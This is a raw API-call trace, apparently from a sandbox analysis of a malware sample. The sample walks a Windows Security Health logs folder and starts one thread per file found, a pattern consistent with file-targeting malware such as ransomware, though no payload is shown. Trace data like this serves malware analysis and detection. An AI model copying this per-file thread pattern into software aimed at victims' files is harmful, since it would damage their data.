	[0087.914] wcscpy (in: _Dest=0x2d83120, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0087.914] wcscat (in: _Dest=0x2d83120, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0087.914] wcscat (in: _Dest=0x2d83120, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\*") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\*"
	[0087.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27548
	[0087.914] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\*", lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa1b0a55, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0xa1b0a55, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5a8
	[0087.914] wcscmp (_String1=".", _String2=".") returned 0
	[0087.914] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa1b0a55, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0xa1b0a55, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.915] wcscmp (_String1="..", _String2=".") returned 1
	[0087.915] wcscmp (_String1="..", _String2="..") returned 0
	[0087.915] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bbd978f, ftCreationTime.dwHighDateTime=0x1d38c3f, ftLastAccessTime.dwLowDateTime=0x7bbd978f, ftLastAccessTime.dwHighDateTime=0x1d38c3f, ftLastWriteTime.dwLowDateTime=0x8d13fad9, ftLastWriteTime.dwHighDateTime=0x1d38c3f, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~1.BIN")) returned 1
	[0087.915] wcscmp (_String1="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0087.915] wcscmp (_String1="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0087.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779360
	[0087.915] wcscpy (in: _Dest=0x4779360, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0087.915] wcscat (in: _Dest=0x4779360, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0087.915] wcscat (in: _Dest=0x4779360, _Source="SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20
	[0089.647] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29ac15be, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x29ac15be, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x25d26abc, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~2.BIN")) returned 1
	[0089.647] wcscmp (_String1="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.647] wcscmp (_String1="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779060
	[0089.647] wcscpy (in: _Dest=0x4779060, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.647] wcscat (in: _Dest=0x4779060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.647] wcscat (in: _Dest=0x4779060, _Source="SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c88
	[0089.648] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb863810c, ftCreationTime.dwHighDateTime=0x1d4ae7b, ftLastAccessTime.dwLowDateTime=0xb863810c, ftLastAccessTime.dwHighDateTime=0x1d4ae7b, ftLastWriteTime.dwLowDateTime=0x5a744dc7, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~3.BIN")) returned 1
	[0089.648] wcscmp (_String1="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.648] wcscmp (_String1="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.648] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a260
	[0089.648] wcscpy (in: _Dest=0x477a260, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.648] wcscat (in: _Dest=0x477a260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.648] wcscat (in: _Dest=0x477a260, _Source="SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8c
	[0089.648] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x910999b0, ftCreationTime.dwHighDateTime=0x1d5d805, ftLastAccessTime.dwLowDateTime=0x910999b0, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x583b1b7e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-01~4.BIN")) returned 1
	[0089.648] wcscmp (_String1="SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.648] wcscmp (_String1="SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.648] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779260
	[0089.648] wcscpy (in: _Dest=0x4779260, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.649] wcscat (in: _Dest=0x4779260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.649] wcscat (in: _Dest=0x4779260, _Source="SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c90
	[0089.649] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8dd1d361, ftCreationTime.dwHighDateTime=0x1d5d806, ftLastAccessTime.dwLowDateTime=0x8dd1d361, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0xd355e53a, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFEAC~1.BIN")) returned 1
	[0089.649] wcscmp (_String1="SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.649] wcscmp (_String1="SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779660
	[0089.649] wcscpy (in: _Dest=0x4779660, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.649] wcscat (in: _Dest=0x4779660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.649] wcscat (in: _Dest=0x4779660, _Source="SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c94
	[0089.650] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x656a5b08, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0x656a5b08, ftLastAccessTime.dwHighDateTime=0x1d5d80b, ftLastWriteTime.dwLowDateTime=0x909cf223, ftLastWriteTime.dwHighDateTime=0x1d5d80d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH1574~1.BIN")) returned 1
	[0089.650] wcscmp (_String1="SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.650] wcscmp (_String1="SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a060
	[0089.650] wcscpy (in: _Dest=0x477a060, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.650] wcscat (in: _Dest=0x477a060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.650] wcscat (in: _Dest=0x477a060, _Source="SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c98
	[0089.651] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ab118, ftCreationTime.dwHighDateTime=0x1d5d80e, ftLastAccessTime.dwLowDateTime=0x4f6ab118, ftLastAccessTime.dwHighDateTime=0x1d5d80e, ftLastWriteTime.dwLowDateTime=0x57764536, ftLastWriteTime.dwHighDateTime=0x1d5d80f, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFCC9~1.BIN")) returned 1
	[0089.651] wcscmp (_String1="SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.651] wcscmp (_String1="SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779b60
	[0089.651] wcscpy (in: _Dest=0x4779b60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.651] wcscat (in: _Dest=0x4779b60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.651] wcscat (in: _Dest=0x4779b60, _Source="SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c9c
	[0089.651] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa767a579, ftCreationTime.dwHighDateTime=0x1d5d80f, ftLastAccessTime.dwLowDateTime=0xa767a579, ftLastAccessTime.dwHighDateTime=0x1d5d80f, ftLastWriteTime.dwLowDateTime=0x53135016, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH33AC~1.BIN")) returned 1
	[0089.651] wcscmp (_String1="SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.651] wcscmp (_String1="SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778d60
	[0089.651] wcscpy (in: _Dest=0x4778d60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.651] wcscat (in: _Dest=0x4778d60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.651] wcscat (in: _Dest=0x4778d60, _Source="SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca0
	[0089.652] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29cb790a, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0x29cb790a, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHEC6E~1.BIN")) returned 1
	[0089.652] wcscmp (_String1="SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.652] wcscmp (_String1="SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778e60
	[0089.652] wcscpy (in: _Dest=0x4778e60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.652] wcscat (in: _Dest=0x4778e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.652] wcscat (in: _Dest=0x4778e60, _Source="SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca4
	[0089.653] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa1b0a55, ftCreationTime.dwHighDateTime=0x1d5d816, ftLastAccessTime.dwLowDateTime=0xa1b0a55, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0xa1b0a55, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH72C0~1.BIN")) returned 1
	[0089.653] wcscmp (_String1="SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.653] wcscmp (_String1="SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779560
	[0089.653] wcscpy (in: _Dest=0x4779560, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.653] wcscat (in: _Dest=0x4779560, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.653] wcscat (in: _Dest=0x4779560, _Source="SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca8
	[0089.654] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf94c6396, ftCreationTime.dwHighDateTime=0x1d39f5a, ftLastAccessTime.dwLowDateTime=0xf94c6396, ftLastAccessTime.dwHighDateTime=0x1d39f5a, ftLastWriteTime.dwLowDateTime=0x54c48137, ftLastWriteTime.dwHighDateTime=0x1d39f5b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~1.BIN")) returned 1
	[0089.654] wcscmp (_String1="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.654] wcscmp (_String1="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779460
	[0089.654] wcscpy (in: _Dest=0x4779460, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.654] wcscat (in: _Dest=0x4779460, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.654] wcscat (in: _Dest=0x4779460, _Source="SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cac
	[0089.654] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb28f34a3, ftCreationTime.dwHighDateTime=0x1d39f5c, ftLastAccessTime.dwLowDateTime=0xb28f34a3, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xdd1442c1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~2.BIN")) returned 1
	[0089.654] wcscmp (_String1="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.655] wcscmp (_String1="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779d60
	[0089.655] wcscpy (in: _Dest=0x4779d60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.655] wcscat (in: _Dest=0x4779d60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.655] wcscat (in: _Dest=0x4779d60, _Source="SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb0
